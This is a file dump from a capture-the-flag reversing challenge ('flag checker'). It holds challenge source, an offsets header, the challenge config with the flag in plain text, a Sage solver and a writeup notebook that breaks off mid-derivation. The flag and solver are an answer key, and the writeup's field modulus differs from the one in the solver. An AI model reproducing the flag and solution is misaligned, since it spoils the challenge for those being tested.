{\n\t\tmix(input);\n\t\tnode_t* root = generate(input);\n\t\tpermute(input, root);\n\t}\n\n\tfor(int i = 0; i < BLOCK_SIZE; i++) {\n\t\tif(input[i] != final[i]) {\n\t\t\tdie();\n\t\t}\n\t}\n\n\tputs(\"Correct! :)\");\n\texit(0);\n}\n"
  },
  {
    "path": "rev/flag-checker/challenge/offsets.h",
    "content": "#define OFFSET_FOR_20_3 0x90\n#define OFFSET_FOR_29_6 0x120\n#define OFFSET_FOR_02_17 0x310\n#define OFFSET_FOR_19_19 0x370\n#define OFFSET_FOR_12_23 0x420\n#define OFFSET_FOR_25_24 0x440\n#define OFFSET_FOR_30_30 0x5b0\n#define OFFSET_FOR_03_33 0x610\n#define OFFSET_FOR_12_37 0x6f0\n#define OFFSET_FOR_29_42 0x7c0\n#define OFFSET_FOR_26_45 0x860\n#define OFFSET_FOR_03_51 0x990\n#define OFFSET_FOR_04_53 0x9d0\n#define OFFSET_FOR_09_55 0xa30\n#define OFFSET_FOR_14_56 0xa70\n#define OFFSET_FOR_35_62 0xbc0\n#define OFFSET_FOR_08_63 0xbe0\n#define OFFSET_FOR_21_65 0xc20\n#define OFFSET_FOR_06_69 0xce0\n#define OFFSET_FOR_11_84 0xfb0\n#define OFFSET_FOR_28_87 0x1050\n#define OFFSET_FOR_33_96 0x11e0\n#define OFFSET_FOR_26_97 0x1200\n#define OFFSET_FOR_03_99 0x1260\n#define OFFSET_FOR_16_103 0x1310\n#define OFFSET_FOR_21_104 0x1330\n#define OFFSET_FOR_22_115 0x1520\n#define OFFSET_FOR_03_117 0x1580\n#define OFFSET_FOR_08_121 0x1620\n#define OFFSET_FOR_01_124 0x16c0\n#define OFFSET_FOR_18_127 0x1750\n#define OFFSET_FOR_27_132 0x1840\n#define OFFSET_FOR_12_138 0x1920\n#define OFFSET_FOR_33_154 0x1bf0\n#define OFFSET_FOR_30_155 0x1c40\n#define OFFSET_FOR_35_161 0x1d40\n#define OFFSET_FOR_32_166 0x1e20\n#define OFFSET_FOR_29_172 0x1f40\n#define OFFSET_FOR_18_173 0x1f80\n#define OFFSET_FOR_35_176 0x2020\n#define OFFSET_FOR_16_190 0x22a0\n#define OFFSET_FOR_33_193 0x2330\n#define OFFSET_FOR_30_210 0x2630\n#define OFFSET_FOR_23_216 0x2730\n#define OFFSET_FOR_00_219 0x27b0\n#define OFFSET_FOR_33_236 0x2af0\n#define OFFSET_FOR_26_245 0x2c90\n#define OFFSET_FOR_15_247 0x2cf0\n#define OFFSET_FOR_32_256 0x2e80\n#define OFFSET_FOR_13_257 0x2ea0\n#define OFFSET_FOR_06_258 0x2ef0\n#define OFFSET_FOR_11_259 0x2f10\n#define OFFSET_FOR_20_260 0x2f30\n#define OFFSET_FOR_33_261 0x2f50\n#define OFFSET_FOR_06_262 0x2f90\n#define OFFSET_FOR_07_263 0x2fb0\n#define OFFSET_FOR_04_264 0x3000\n#define OFFSET_FOR_25_265 0x3020\n#define OFFSET_FOR_18_266 0x3040\n#define OFFSET_FOR_35_267 0x3060\n#define OFFSET_FOR_16_268 0x30a0\n#define OFFSET_FOR_33_269 0x30e0\n#define OFFSET_FOR_34_270 0x3100\n#define OFFSET_FOR_31_271 0x3120\n#define OFFSET_FOR_12_272 0x3160\n#define OFFSET_FOR_13_273 0x3180\n#define OFFSET_FOR_06_274 0x31a0\n#define OFFSET_FOR_23_275 0x31e0\n#define OFFSET_FOR_00_276 0x3200\n#define OFFSET_FOR_33_277 0x3220\n#define OFFSET_FOR_18_278 0x3270\n#define OFFSET_FOR_31_279 0x3290\n#define OFFSET_FOR_32_280 0x32b0\n#define OFFSET_FOR_17_281 0x32d0\n#define OFFSET_FOR_18_282 0x3310\n#define OFFSET_FOR_31_283 0x3330\n#define OFFSET_FOR_24_284 0x3370\n#define OFFSET_FOR_05_285 0x3390\n#define OFFSET_FOR_02_286 0x33b0\n#define OFFSET_FOR_27_287 0x3400\n#define OFFSET_FOR_00_288 0x3420\n#define OFFSET_FOR_25_289 0x3440\n#define OFFSET_FOR_18_290 0x3460\n#define OFFSET_FOR_15_291 0x34a0\n#define OFFSET_FOR_04_292 0x34c0\n#define OFFSET_FOR_33_293 0x34e0\n#define OFFSET_FOR_10_294 0x3520\n#define OFFSET_FOR_35_295 0x3570\n#define OFFSET_FOR_00_296 0x3590\n#define OFFSET_FOR_33_297 0x35b0\n#define OFFSET_FOR_10_298 0x35d0\n#define OFFSET_FOR_07_299 0x3610\n#define OFFSET_FOR_08_300 0x3630\n#define OFFSET_FOR_01_301 0x3650\n#define OFFSET_FOR_26_302 0x3690\n#define OFFSET_FOR_11_303 0x36d0\n#define OFFSET_FOR_04_304 0x36f0\n#define OFFSET_FOR_17_305 0x3730\n#define OFFSET_FOR_26_306 0x3770\n#define OFFSET_FOR_23_307 0x3790\n#define OFFSET_FOR_12_308 0x37b0\n#define OFFSET_FOR_05_309 0x37f0\n#define OFFSET_FOR_02_310 0x3830\n#define OFFSET_FOR_15_311 0x3850\n#define OFFSET_FOR_20_312 0x3870\n#define OFFSET_FOR_09_313 0x38b0\n#define OFFSET_FOR_18_314 0x38d0\n#define OFFSET_FOR_15_315 0x3910\n#define OFFSET_FOR_28_316 0x3930\n#define OFFSET_FOR_09_317 0x3970\n#define OFFSET_FOR_06_318 0x3990\n#define OFFSET_FOR_35_319 0x39d0\n#define OFFSET_FOR_24_320 0x39f0\n#define OFFSET_FOR_13_321 0x3a10\n#define OFFSET_FOR_06_322 0x3a50\n#define OFFSET_FOR_15_323 0x3aa0\n#define OFFSET_FOR_12_324 0x3ac0\n#define OFFSET_FOR_17_325 0x3ae0\n#define OFFSET_FOR_02_326 0x3b00\n#define OFFSET_FOR_31_327 0x3b40\n#define OFFSET_FOR_20_328 0x3b60\n#define OFFSET_FOR_21_329 0x3b80\n#define OFFSET_FOR_10_330 0x3bc0\n#define OFFSET_FOR_35_331 0x3c10\n#define OFFSET_FOR_28_332 0x3c30\n#define OFFSET_FOR_01_333 0x3c50\n#define OFFSET_FOR_22_334 0x3c70\n#define OFFSET_FOR_27_335 0x3cb0\n#define OFFSET_FOR_20_336 0x3cd0\n#define OFFSET_FOR_33_337 0x3cf0\n#define OFFSET_FOR_34_338 0x3d30\n#define OFFSET_FOR_15_339 0x3d70\n#define OFFSET_FOR_08_340 0x3db0\n#define OFFSET_FOR_21_341 0x3df0\n#define OFFSET_FOR_14_342 0x3e10\n#define OFFSET_FOR_23_343 0x3e30\n#define OFFSET_FOR_24_344 0x3e70\n#define OFFSET_FOR_33_345 0x3e90\n#define OFFSET_FOR_26_346 0x3eb0\n#define OFFSET_FOR_27_347 0x3ef0\n#define OFFSET_FOR_04_348 0x3f30\n#define OFFSET_FOR_25_349 0x3f50\n#define OFFSET_FOR_10_350 0x3f70\n#define OFFSET_FOR_15_351 0x3fb0\n#define OFFSET_FOR_08_352 0x3ff0\n#define OFFSET_FOR_13_353 0x4040\n#define OFFSET_FOR_10_354 0x4060\n#define OFFSET_FOR_07_355 0x4080\n#define OFFSET_FOR_08_356 0x40a0\n#define OFFSET_FOR_01_357 0x40e0\n#define OFFSET_FOR_34_358 0x4130\n#define OFFSET_FOR_03_359 0x4150\n#define OFFSET_FOR_16_360 0x4170\n#define OFFSET_FOR_33_361 0x4190\n#define OFFSET_FOR_26_362 0x41d0\n#define OFFSET_FOR_03_363 0x41f0\n#define OFFSET_FOR_04_364 0x4230\n#define OFFSET_FOR_33_365 0x4250\n#define OFFSET_FOR_30_366 0x4270\n#define OFFSET_FOR_27_367 0x42c0\n#define OFFSET_FOR_12_368 0x42e0\n#define OFFSET_FOR_01_369 0x4300\n#define OFFSET_FOR_26_370 0x4320\n#define OFFSET_FOR_03_371 0x4360\n#define OFFSET_FOR_04_372 0x4380\n#define OFFSET_FOR_09_373 0x43c0\n#define OFFSET_FOR_26_374 0x43e0\n#define OFFSET_FOR_15_375 0x4400\n#define OFFSET_FOR_08_376 0x4440\n#define OFFSET_FOR_05_377 0x4480\n#define OFFSET_FOR_34_378 0x44a0\n#define OFFSET_FOR_15_379 0x44e0\n#define OFFSET_FOR_12_380 0x4520\n#define OFFSET_FOR_21_381 0x4540\n#define OFFSET_FOR_02_382 0x4580\n#define OFFSET_FOR_07_383 0x45a0\n#define OFFSET_FOR_04_384 0x45c0\n#define OFFSET_FOR_25_385 0x4600\n#define OFFSET_FOR_34_386 0x4620\n#define OFFSET_FOR_11_387 0x4660\n#define OFFSET_FOR_20_388 0x4680\n#define OFFSET_FOR_13_389 0x46a0\n#define OFFSET_FOR_34_390 0x46e0\n#define OFFSET_FOR_11_391 0x4700\n#define OFFSET_FOR_08_392 0x4720\n#define OFFSET_FOR_33_393 0x4770\n#define OFFSET_FOR_02_394 0x4790\n#define OFFSET_FOR_23_395 0x47b0\n#define OFFSET_FOR_20_396 0x47d0\n#define OFFSET_FOR_13_397 0x4810\n#define OFFSET_FOR_10_398 0x4830\n#define OFFSET_FOR_35_399 0x4850\n#define OFFSET_FOR_20_400 0x4890\n#define OFFSET_FOR_09_401 0x48b0\n#define OFFSET_FOR_14_402 0x48d0\n#define OFFSET_FOR_35_403 0x4910\n#define OFFSET_FOR_12_404 0x4930\n#define OFFSET_FOR_13_405 0x4950\n#define OFFSET_FOR_10_406 0x4990\n#define OFFSET_FOR_19_407 0x49b0\n#define OFFSET_FOR_08_408 0x49f0\n#define OFFSET_FOR_21_409 0x4a10\n#define OFFSET_FOR_10_410 0x4a50\n#define OFFSET_FOR_31_411 0x4aa0\n#define OFFSET_FOR_04_412 0x4ac0\n#define OFFSET_FOR_17_413 0x4ae0\n#define OFFSET_FOR_34_414 0x4b00\n#define OFFSET_FOR_11_415 0x4b50\n#define OFFSET_FOR_16_416 0x4b70\n#define OFFSET_FOR_09_417 0x4b90\n#define OFFSET_FOR_14_418 0x4bb0\n#define OFFSET_FOR_27_419 0x4bf0\n#define OFFSET_FOR_16_420 0x4c10\n#define OFFSET_FOR_33_421 0x4c60\n#define OFFSET_FOR_26_422 0x4c80\n#define OFFSET_FOR_23_423 0x4ca0\n#define OFFSET_FOR_08_424 0x4cc0\n#define OFFSET_FOR_01_425 0x4d00\n#define OFFSET_FOR_22_426 0x4d40\n#define OFFSET_FOR_23_427 0x4d60\n#define OFFSET_FOR_08_428 0x4da0\n#define OFFSET_FOR_09_429 0x4de0\n#define OFFSET_FOR_34_430 0x4e00\n#define OFFSET_FOR_03_431 0x4e40\n#define OFFSET_FOR_24_432 0x4e60\n#define OFFSET_FOR_01_433 0x4ea0\n#define OFFSET_FOR_26_434 0x4ee0\n#define OFFSET_FOR_15_435 0x4f00\n#define OFFSET_FOR_12_436 0x4f20\n#define OFFSET_FOR_29_437 0x4f60\n#define OFFSET_FOR_10_438 0x4f80\n#define OFFSET_FOR_35_439 0x4fa0\n#define OFFSET_FOR_28_440 0x4fe0\n#define OFFSET_FOR_01_441 0x5000\n#define OFFSET_FOR_10_442 0x5020\n#define OFFSET_FOR_23_443 0x5060\n#define OFFSET_FOR_00_444 0x5080\n#define OFFSET_FOR_21_445 0x50d0\n#define OFFSET_FOR_10_446 0x50f0\n#define OFFSET_FOR_35_447 0x5110\n#define OFFSET_FOR_24_448 0x5130\n#define OFFSET_FOR_33_449 0x5180\n#define OFFSET_FOR_18_450 0x51a0\n#define OFFSET_FOR_07_451 0x51c0\n#define OFFSET_FOR_28_452 0x51e0\n#define OFFSET_FOR_13_453 0x5220\n#define OFFSET_FOR_30_454 0x5260\n#define OFFSET_FOR_23_455 0x52a0\n#define OFFSET_FOR_08_456 0x52c0\n#define OFFSET_FOR_09_457 0x5300\n#define OFFSET_FOR_30_458 0x5320\n#define OFFSET_FOR_03_459 0x5340\n#define OFFSET_FOR_08_460 0x5380\n#define OFFSET_FOR_13_461 0x53a0\n#define OFFSET_FOR_26_462 0x53e0\n#define OFFSET_FOR_23_463 0x5420\n#define OFFSET_FOR_24_464 0x5460\n#define OFFSET_FOR_33_465 0x5480\n#define OFFSET_FOR_10_466 0x54a0\n#define OFFSET_FOR_19_467 0x54e0\n#define OFFSET_FOR_20_468 0x5530\n#define OFFSET_FOR_29_469 0x5550\n#define OFFSET_FOR_02_470 0x5570\n#define OFFSET_FOR_23_471 0x5590\n#define OFFSET_FOR_32_472 0x55d0\n#define OFFSET_FOR_05_473 0x5610\n#define OFFSET_FOR_34_474 0x5650\n#define OFFSET_FOR_11_475 0x5670\n#define OFFSET_FOR_24_476 0x56b0\n#define OFFSET_FOR_09_477 0x56f0\n#define OFFSET_FOR_30_478 0x5710\n#define OFFSET_FOR_15_479 0x5730\n#define OFFSET_FOR_32_480 0x5770\n#define OFFSET_FOR_29_481 0x5790\n#define OFFSET_FOR_22_482 0x57b0\n#define OFFSET_FOR_11_483 0x57f0\n#define OFFSET_FOR_12_484 0x5830\n#define OFFSET_FOR_09_485 0x5850\n#define OFFSET_FOR_10_486 0x5870\n#define OFFSET_FOR_23_487 0x58c0\n#define OFFSET_FOR_24_488 0x58e0\n#define OFFSET_FOR_33_489 0x5900\n#define OFFSET_FOR_02_490 0x5920\n#define OFFSET_FOR_35_491 0x5960\n#define OFFSET_FOR_32_492 0x59a0\n#define OFFSET_FOR_21_493 0x59c0\n#define OFFSET_FOR_26_494 0x59e0\n#define OFFSET_FOR_15_495 0x5a20\n#define OFFSET_FOR_08_496 0x5a40\n#define OFFSET_FOR_09_497 0x5a80\n#define OFFSET_FOR_26_498 0x5aa0\n#define OFFSET_FOR_23_499 0x5ac0\n#define OFFSET_FOR_16_500 0x5b00\n#define OFFSET_FOR_13_501 0x5b20\n#define OFFSET_FOR_26_502 0x5b60\n#define OFFSET_FOR_15_503 0x5b80\n"
  },
  {
    "path": "rev/flag-checker/challenge.yml",
    "content": "version: \"0.1\"\nid: flag-checker\nname: flag checker\ncategory: reversing\ndescription: >\n  What more could you ask for than a program that checks the flag for you? Just guess and check and eventually the flag will be yours!\n\n\n  Author: joseph#8210\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/flag_checker\n\nflags:\n  - DUCTF{rev3rs1bl3___and___1nv3rtibl3}\n"
  },
  {
    "path": "rev/flag-checker/solve/solve.sage",
    "content": "R.<alpha> = PolynomialRing(GF(2))\nF = GF(2^8, alpha, modulus=alpha^8 + alpha^4 + alpha^3 + alpha + 1)\nFi = F.fetch_int\n\n# K.<b0,b1,b2,b3,b4,b5> = PolynomialRing(F)\n# S.<Y> = PolynomialRing(K)\n# m = Y^6 + Y^2 + Fi(1)\n# f = b0 + b1*Y + b2*Y^2 + b3*Y^3 + b4*Y^4 + b5*Y^5\n# c = Fi(2)*Y^6 + Fi(3)*Y^4 + Fi(1)\n\nM = [\n    [3, 0, 3, 0, 2, 0],\n    [0, 3, 0, 3, 0, 2],\n    [2, 0, 0, 0, 1, 0],\n    [0, 2, 0, 0, 0, 1],\n    [3, 0, 2, 0, 0, 0],\n    [0, 3, 0, 2, 0, 0],\n]\nM = [[Fi(x) for x in r] for r in M]\nM = Matrix(F, M)\n\nNUM_ROUNDS = 16\nPBOX = [23, 16, 19, 12, 31, 24, 17, 22, 13, 18, 25, 30, 9, 2, 11, 4, 33, 26, 3, 8, 5, 10, 27, 32, 21, 14, 35, 28, 7, 0, 15, 20, 29, 34, 1, 6]\nC0 = [0, 1, 2, 6, 12, 18]\nC1 = [3, 4, 5, 11, 17, 23]\nC2 = [7, 8, 9, 13, 14, 15]\nC3 = [10, 16, 22, 28, 29, 35]\nC4 = [19, 20, 24, 25, 26, 30]\nC5 = [21, 27, 31, 32, 33, 34]\nCs = [C0, C1, C2, C3, C4, C5]\n\ndef permute(M):\n    M_ = copy(M)\n    for i,p in enumerate(PBOX):\n        M_[i] = M[p]\n    return M_\n\ndef inv_permute(M):\n    M_ = copy(M)\n    for i,p in enumerate(PBOX):\n        M_[p] = M[i]\n    return M_\n\ndef mix_column(col):\n    v = vector(F, [Fi(x) for x in col])\n    w = [x.integer_representation() for x in list(M * v)]\n    return w\n\ndef inv_mix_column(col):\n    v = vector(F, [Fi(x) for x in col])\n    w = [x.integer_representation() for x in list(~M * v)]\n    return w\n\ndef mix(M):\n    V = [mix_column([M[i] for i in C]) for C in Cs]\n    out = [None]*sum(len(r) for r in V)\n    for i in range(len(V)):\n        for idx, v in zip(Cs[i], V[i]):\n            out[idx] = v\n    return out\n\ndef inv_mix(M):\n    V = [inv_mix_column([M[i] for i in C]) for C in Cs]\n    out = [None]*sum(len(r) for r in V)\n    for i in range(len(V)):\n        for idx, v in zip(Cs[i], V[i]):\n            out[idx] = v\n    return out\n\noutput = [0x0f, 0x4f, 0x73, 0x3c, 0x41, 0xc6, 0xa4, 0xaf, 0xb4, 0x41, 0xd6, 0x65, 0xc8, 0x99, 0xaa, 0xb3, 0x6c, 0x99, 0x61, 0x3c, 0x4e, 0xdd, 0x70, 0x46, 0x15, 0x66, 0x3c, 0x1b, 0x7f, 0x16, 0xa6, 0x6f, 0x23, 0x13, 0x12, 0x6e]\nfor _ in range(NUM_ROUNDS):\n    output = inv_permute(output)\n    output = inv_mix(output)\n\nprint(''.join(map(chr, output)))\n"
  },
  {
    "path": "rev/flag-checker/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"c99fcd90\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Overview\\n\",\n    \"\\n\",\n    \"We are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions.\\n\",\n    \"\\n\",\n    \"The main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later):\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"void main(void)\\n\",\n    \"\\n\",\n    \"{\\n\",\n    \"  size_t input_length;\\n\",\n    \"  undefined8 tree;\\n\",\n    \"  long in_FS_OFFSET;\\n\",\n    \"  int i;\\n\",\n    \"  int j;\\n\",\n    \"  char input [40];\\n\",\n    \"  undefined8 uStack16;\\n\",\n    \"  \\n\",\n    \"  uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28);\\n\",\n    \"  init();\\n\",\n    \"  printf(\\\"What\\\\'s the flag?: \\\");\\n\",\n    \"  fgets(input,0x25,stdin);\\n\",\n    \"  input_length = strlen(input);\\n\",\n    \"  if (input_length != 0x24) {\\n\",\n    \"    die();\\n\",\n    \"  }\\n\",\n    \"  for (i = 0; i < 0x10; i = i + 1) {\\n\",\n    \"    mix(input);\\n\",\n    \"    tree = generate_tree(input);\\n\",\n    \"    permute(input,tree);\\n\",\n    \"  }\\n\",\n    \"  for (j = 0; j < 0x24; j = j + 1) {\\n\",\n    \"    if (input[j] != (&FINAL)[j]) {\\n\",\n    \"      die();\\n\",\n    \"    }\\n\",\n    \"  }\\n\",\n    \"  puts(\\\"Correct! :)\\\");\\n\",\n    \"                    /* WARNING: Subroutine does not return */\\n\",\n    \"  exit(0);\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"We see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value.\\n\",\n    \"\\n\",\n    \"This for loop is where all the transformations seem to happen:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"  for (i = 0; i < 0x10; i = i + 1) {\\n\",\n    \"    mix(input);\\n\",\n    \"    tree = generate_tree(input);\\n\",\n    \"    permute(input,tree);\\n\",\n    \"  }\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"We'll go through each of these functions.\\n\",\n    \"\\n\",\n    \"## Mixing Step\\n\",\n    \"\\n\",\n    \"The function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"  int c0[6] = {0, 1, 2, 6, 12, 18};\\n\",\n    \"  int c1[6] = {3, 4, 5, 11, 17, 23};\\n\",\n    \"  int c2[6] = {7, 8, 9, 13, 14, 15};\\n\",\n    \"  int c3[6] = {10, 16, 22, 28, 29, 35};\\n\",\n    \"  int c4[6] = {19, 20, 24, 25, 26, 30};\\n\",\n    \"  int c5[6] = {21, 27, 31, 32, 33, 34};\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"and then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"  mix_column(input,c0);\\n\",\n    \"  mix_column(input,c1);\\n\",\n    \"  mix_column(input,c2);\\n\",\n    \"  mix_column(input,c3);\\n\",\n    \"  mix_column(input,c4);\\n\",\n    \"  mix_column(input,c5);\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"The `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"uint m(byte param_1)\\n\",\n    \"{\\n\",\n    \"  return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2;\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"Back to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these \\\"chunks\\\" of the input independently.\\n\",\n    \"\\n\",\n    \"The modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs.\\n\",\n    \"\\n\",\n    \"## Tree Generation\\n\",\n    \"\\n\",\n    \"The function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input.\\n\",\n    \"\\n\",\n    \"Obviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the \\\"current\\\" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input.\\n\",\n    \"\\n\",\n    \"Conceptually, the data structure looks something like this:\\n\",\n    \"\\n\",\n    \"![tree.png](./assets/tree.png)\\n\",\n    \"\\n\",\n    \"## Permutation Step\\n\",\n    \"\\n\",\n    \"The final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"void permute(undefined *input,long root)\\n\",\n    \"{\\n\",\n    \"  *input = *(undefined *)(root + 0x2730);\\n\",\n    \"  input[1] = *(undefined *)(root + 0x5b00);\\n\",\n    \"  input[2] = *(undefined *)(root + 0x370);\\n\",\n    \"  input[3] = *(undefined *)(root + 0x6f0);\\n\",\n    \"  input[4] = *(undefined *)(root + 0x3120);\\n\",\n    \"  input[5] = *(undefined *)(root + 0x3370);\\n\",\n    \"  input[6] = *(undefined *)(root + 0x32d0);\\n\",\n    \"  input[7] = *(undefined *)(root + 0x57b0);\\n\",\n    \"  input[8] = *(undefined *)(root + 0x2ea0);\\n\",\n    \"  input[9] = *(undefined *)(root + 0x1750);\\n\",\n    \"  input[10] = *(undefined *)(root + 0x440);\\n\",\n    \"  input[0xb] = *(undefined *)(root + 0x5b0);\\n\",\n    \"  input[0xc] = *(undefined *)(root + 0x4b90);\\n\",\n    \"  input[0xd] = *(undefined *)(root + 0x310);\\n\",\n    \"  input[0xe] = *(undefined *)(root + 0x2f10);\\n\",\n    \"  input[0xf] = *(undefined *)(root + 0x4ac0);\\n\",\n    \"  input[0x10] = *(undefined *)(root + 0x1bf0);\\n\",\n    \"  input[0x11] = *(undefined *)(root + 0x3690);\\n\",\n    \"  input[0x12] = *(undefined *)(root + 0x1580);\\n\",\n    \"  input[0x13] = *(undefined *)(root + 0x1620);\\n\",\n    \"  input[0x14] = *(undefined *)(root + 0x4480);\\n\",\n    \"  input[0x15] = *(undefined *)(root + 0x3520);\\n\",\n    \"  input[0x16] = *(undefined *)(root + 0x1840);\\n\",\n    \"  input[0x17] = *(undefined *)(root + 0x1e20);\\n\",\n    \"  input[0x18] = *(undefined *)(root + 0x1330);\\n\",\n    \"  input[0x19] = *(undefined *)(root + 0x48d0);\\n\",\n    \"  input[0x1a] = *(undefined *)(root + 0x1d40);\\n\",\n    \"  input[0x1b] = *(undefined *)(root + 0x3930);\\n\",\n    \"  input[0x1c] = *(undefined *)(root + 0x2fb0);\\n\",\n    \"  input[0x1d] = *(undefined *)(root + 0x27b0);\\n\",\n    \"  input[0x1e] = *(undefined *)(root + 0x5b80);\\n\",\n    \"  input[0x1f] = *(undefined *)(root + 0x2f30);\\n\",\n    \"  input[0x20] = *(undefined *)(root + 8000);\\n\",\n    \"  input[0x21] = *(undefined *)(root + 0x4b00);\\n\",\n    \"  input[0x22] = *(undefined *)(root + 0x3650);\\n\",\n    \"  input[0x23] = *(undefined *)(root + 0x2ef0);\\n\",\n    \"  return;\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"It modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable).\\n\",\n    \"\\n\",\n    \"## Flag Check\\n\",\n    \"\\n\",\n    \"After 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string\\n\",\n    \"\\n\",\n    \"```\\n\",\n    \"0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"which can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string.\\n\",\n    \"\\n\",\n    \"# Solution\\n\",\n    \"\\n\",\n    \"Since the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted.\\n\",\n    \"\\n\",\n    \"## Permutation Step\\n\",\n    \"\\n\",\n    \"To figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this:\\n\",\n    \"\\n\",\n    \"![permutation.png](./assets/permutation.png)\\n\",\n    \"\\n\",\n    \"As an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation.\\n\",\n    \"\\n\",\n    \"Computing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`.\\n\",\n    \"\\n\",\n    \"## Mixing Step\\n\",\n    \"\\n\",\n    \"The core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version):\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"byte m(byte b) {\\n\",\n    \"  return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"It is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!).\\n\",\n    \"\\n\",\n    \"The key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\\\\alpha]/(\\\\alpha^8 + \\\\alpha^4 + \\\\alpha^3 + 1) \\\\cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \\\\alpha, 1 + \\\\alpha, \\\\ldots$. In general, an element in $K$ is of the form:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"b_0 + b_1 \\\\alpha + b_2 \\\\alpha^2 + \\\\cdots + b_7 \\\\alpha^7\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\\\\alpha$, we write integers for convenience (but we understand that they are elements of $K$).\\n\",\n    \"\\n\",\n    \"As we will now see, the implementation of `m` is equivalent to multiplication by $\\\\alpha$ (which is $2$ when represented as an integer). Let\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"b = b_0 + b_1 \\\\alpha + b_2 \\\\alpha^2 + \\\\cdots + b_7 \\\\alpha^7\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Then,\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\alpha b &= \\\\alpha (b_0 + b_1 \\\\alpha + \\\\cdots + b_7 \\\\alpha^7) \\\\\\\\\\n\",\n    \"             &= b_0 \\\\alpha + b_1 \\\\alpha^2 + \\\\cdots + b_7 \\\\alpha^8 